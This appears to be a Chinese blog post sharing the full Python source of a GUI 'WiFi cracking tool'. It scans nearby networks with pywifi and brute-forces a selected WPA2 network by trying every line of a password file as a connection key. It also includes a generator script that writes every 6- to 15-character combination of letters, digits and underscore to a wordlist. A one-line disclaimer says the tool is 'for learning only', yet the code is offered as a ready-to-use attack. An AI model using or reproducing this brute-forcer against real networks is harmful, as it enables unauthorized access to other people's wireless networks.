话不多说,上源码:
注解:passwordmake.exe是pyinstaller编译的exe,是密码本的创造程序。
main:
from tkinter import *
from tkinter import ttk
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框
import pywifi
from pywifi import const
import time
import os
import psutil
init_window = Tk()
def open_app(info):
os.startfile(info)
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# 密码文件路径
self.get_value = StringVar() # 设置可变内容
# 获取破解wifi账号
self.get_wifi_value = StringVar()
# 获取wifi密码
self.get_wifimm_value = StringVar()
# 抓取网卡接口
self.wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
# 测试链接断开所有链接
self.iface.disconnect()
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# 自动会调用的函数,返回自身的网卡
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# 设置窗口
def set_init_window(self):
self.filename = 'c:/password.txt'
self.get_value.set(self.filename)
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是对于labelframe中添加的
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="密码本路径:").grid(column=0, row=1)
self.label = Label(labelframe, text="只能用来学习\n破别人wifi被抓,与我无关").grid(column=2, row=1)
self.path = Entry(labelframe, width=15, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="空密码本生成", command=self.passwordmake).grid(column=0, row=3)
self.file = Button(labelframe, text="关闭本窗口", command=self.close).grid(column=1, row=3)
self.file = Button(labelframe, text="关闭密码本生成", command=self.closepasswordmacker).grid(column=2, row=3)
self.file = Button(labelframe, text="删除密码本", command=self.delete).grid(column=2, row=0)
self.wifi_text = Label(labelframe, text="WiFi名称:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# 定义树形结构与滚动条
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# 表格的标题
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="序号")
self.wifi_tree.heading("b", text="网络名称")
self.wifi_tree.heading("c", text="网络BSSID")
self.wifi_tree.heading("d", text="信号强度")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
def delete(self):
path = 'c:/password.txt' # 文件路径
if os.path.exists(path): # 如果文件存在
# 删除文件,可使用以下两种方法。
os.remove(path)
def closepasswordmacker(self):
## task_list是你要删除的进程名称,如果不清楚可以通过打印p.name()查看进程名称
task_list = ['passwordmake.exe']
pids = psutil.pids()
for pid in pids:
p = psutil.Process(pid)
for task in task_list:
if p.name() == task:
cmd = 'taskkill /F /IM ' + p.name()
os.system(cmd)
break
def close(self):
init_window.destroy()
# 搜索wifi
def scans_wifi_list(self): # 扫描周围wifi列表
# 开始扫描
self.iface.scan()
time.sleep(15)
# 在若干秒后获取扫描结果
scanres = self.iface.scan_results()
# 统计附近被发现的热点数量
nums = len(scanres)
# self.add_mm_file()
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
def passwordmake(self):
info = r'passwordmake.exe' # 指定应用程序目录
open_app(info)
w = open('c:/password.txt','w')
w.write("")
w.close()
# 显示wifi列表
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# 读取密码字典,进行匹配
def readPassWord(self,):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
dell=self.pwdStr
tkinter.messagebox.showinfo('提示', '破解成功,请手动连接WIFI')
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称
profile.ssid = self.wifi_text
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
profile.key = dell
# 删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi连接时间
time.sleep(3)
else:
tkinter.messagebox.showinfo('提示', '破解成功,请手动连接WIFI')
print(self.res)
break
else:
self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
# 对wifi和密码进行匹配
def connect(self, pwd_Str, wifi_ssid):
# 创建wifi链接文件
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # wifi名称
self.profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
self.profile.key = pwd_Str # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
self.tmp_profile = self.iface.add_network_profile(self.profile) # 设定新的链接文件
self.iface.connect(self.tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
# 测试连接,返回链接结果
def gui_start():
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()
passwordmake:
import itertools as its
import datetime
import time
# 记录程序运行时间
start = datetime.datetime.now()
words = '1234567890_AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz' # 这里可以加入字母和其他字符,使用string包更方便
for i in range(6, 16):
r = its.product(words, repeat=i) # i即生成i位密码,正常情况下热点密码位数为8
dic = open(r"C:\password.txt", 'w')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))
time.sleep(2)
求求你啦,打赏回访,散会!